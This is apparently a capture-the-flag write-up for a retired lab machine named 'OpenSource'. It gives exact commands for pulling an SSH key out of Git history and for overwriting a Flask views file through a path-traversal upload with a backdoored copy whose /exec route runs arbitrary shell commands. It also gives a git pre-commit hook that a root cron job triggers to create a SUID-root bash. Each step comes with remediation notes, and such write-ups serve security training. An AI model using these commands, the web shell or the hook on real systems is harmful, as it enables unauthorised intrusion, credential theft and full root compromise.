OpenSource
Summary
I found a Flask file-upload service on port 80 that served its own complete source archive — including the embedded Git repository — to any unauthenticated visitor. Walking the commit history exposed an SSH private key that had been added and then deleted. A path-traversal flaw in the upload handler's filename sanitisation let me silently overwrite the live Flask view file with a backdoored copy, producing an unauthenticated remote code-execution endpoint inside the Docker container.
The SSH private key recovered from Git history was then used to log directly into the host machine as user dev01. Finally, a root-owned cron job that periodically ran a Git commit inside dev01's home directory was hijacked by writing a malicious pre-commit hook that stamped out a SUID-root copy of bash, granting unconditional root access.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets — <commit_hash> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Identify open ports and service versions.
$ nmap -Pn -sV -p 22,80 $TARGETRetrieve and extract the application source archive; the .git directory is included.
$ curl -s http://$TARGET/download -o source.zip && unzip source.zip -d sourceFixRemove the unauthenticated source-code download endpointHigh
Exact commands 2
List every commit, including those that removed sensitive files.
$ cd source && git log --all --onelineRecover the private key from the commit that added home-backup; replace <commit_hash> with the hash shown in git log.
$ git show <commit_hash>:home-backup/.ssh/id_rsa > /tmp/dev01_id_rsa && chmod 600 /tmp/dev01_id_rsaFixPurge secrets from Git history and enforce pre-commit secret scanningCritical
Exact commands 2
Create the backdoored view file; the /exec route runs arbitrary OS commands passed via the ?cmd= parameter.
$ cat > /tmp/views_pwn.py <<'PY'
import os, subprocess
from flask import render_template, request, send_file
from app import app
from app.utils import get_file_name
@app.route('/')
def index():
return render_template('index.html')
@app.route('/download')
def download():
return send_file(os.path.join(os.getcwd(), 'app', 'static', 'source.zip'))
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return 'No file', 400
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), 'public', 'uploads', file_name)
f.save(file_path)
return 'File uploaded', 200
@app.route('/exec')
def execute():
cmd = request.args.get('cmd', 'id')
return subprocess.check_output(cmd, shell=True)
PYUpload using a path-traversal filename; the server writes the file over the live views.py.
$ curl -s -X POST http://$TARGET/ -F 'file=@/tmp/views_pwn.py;filename=../app/views.py'FixFix path-traversal vulnerability in the file-upload filename sanitisationCritical
Exact commands 3
Confirm code execution; expect a uid= response from the container process.
$ curl -s "http://$TARGET/exec?cmd=id"Verify the execution context is inside a container, not the host.
$ curl -s "http://$TARGET/exec?cmd=hostname+-f"Read the user flag; value is <user.txt>.
$ curl -s "http://$TARGET/exec?cmd=cat+/home/dev01/user.txt"Exact commands 2
Authenticate as dev01 on the host using the key recovered from Git history.
$ ssh -i /tmp/dev01_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev01@$TARGETConfirm host-level shell; user flag value is <user.txt>.
$ id && hostname && cat ~/user.txtExact commands 2
Write the malicious hook and make it executable; root's cron will invoke it on the next scheduled Git operation.
$ ssh -i /tmp/dev01_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev01@$TARGET 'cat > ~/.git/hooks/pre-commit <<"EOF"
#!/bin/bash
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x ~/.git/hooks/pre-commit'Create a file change so the next git commit has something to stage, ensuring the hook fires.
$ ssh -i /tmp/dev01_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev01@$TARGET 'date > ~/cron_trigger'FixEliminate root-owned automated Git operations in user-writable directoriesCritical
Exact commands 2
Verify the SUID binary was created (look for -rwsr-xr-x root root).
$ ssh -i /tmp/dev01_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev01@$TARGET 'ls -la /tmp/rootbash'Open a root-privileged shell via -p; root flag value is <root.txt>.
$ ssh -i /tmp/dev01_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev01@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.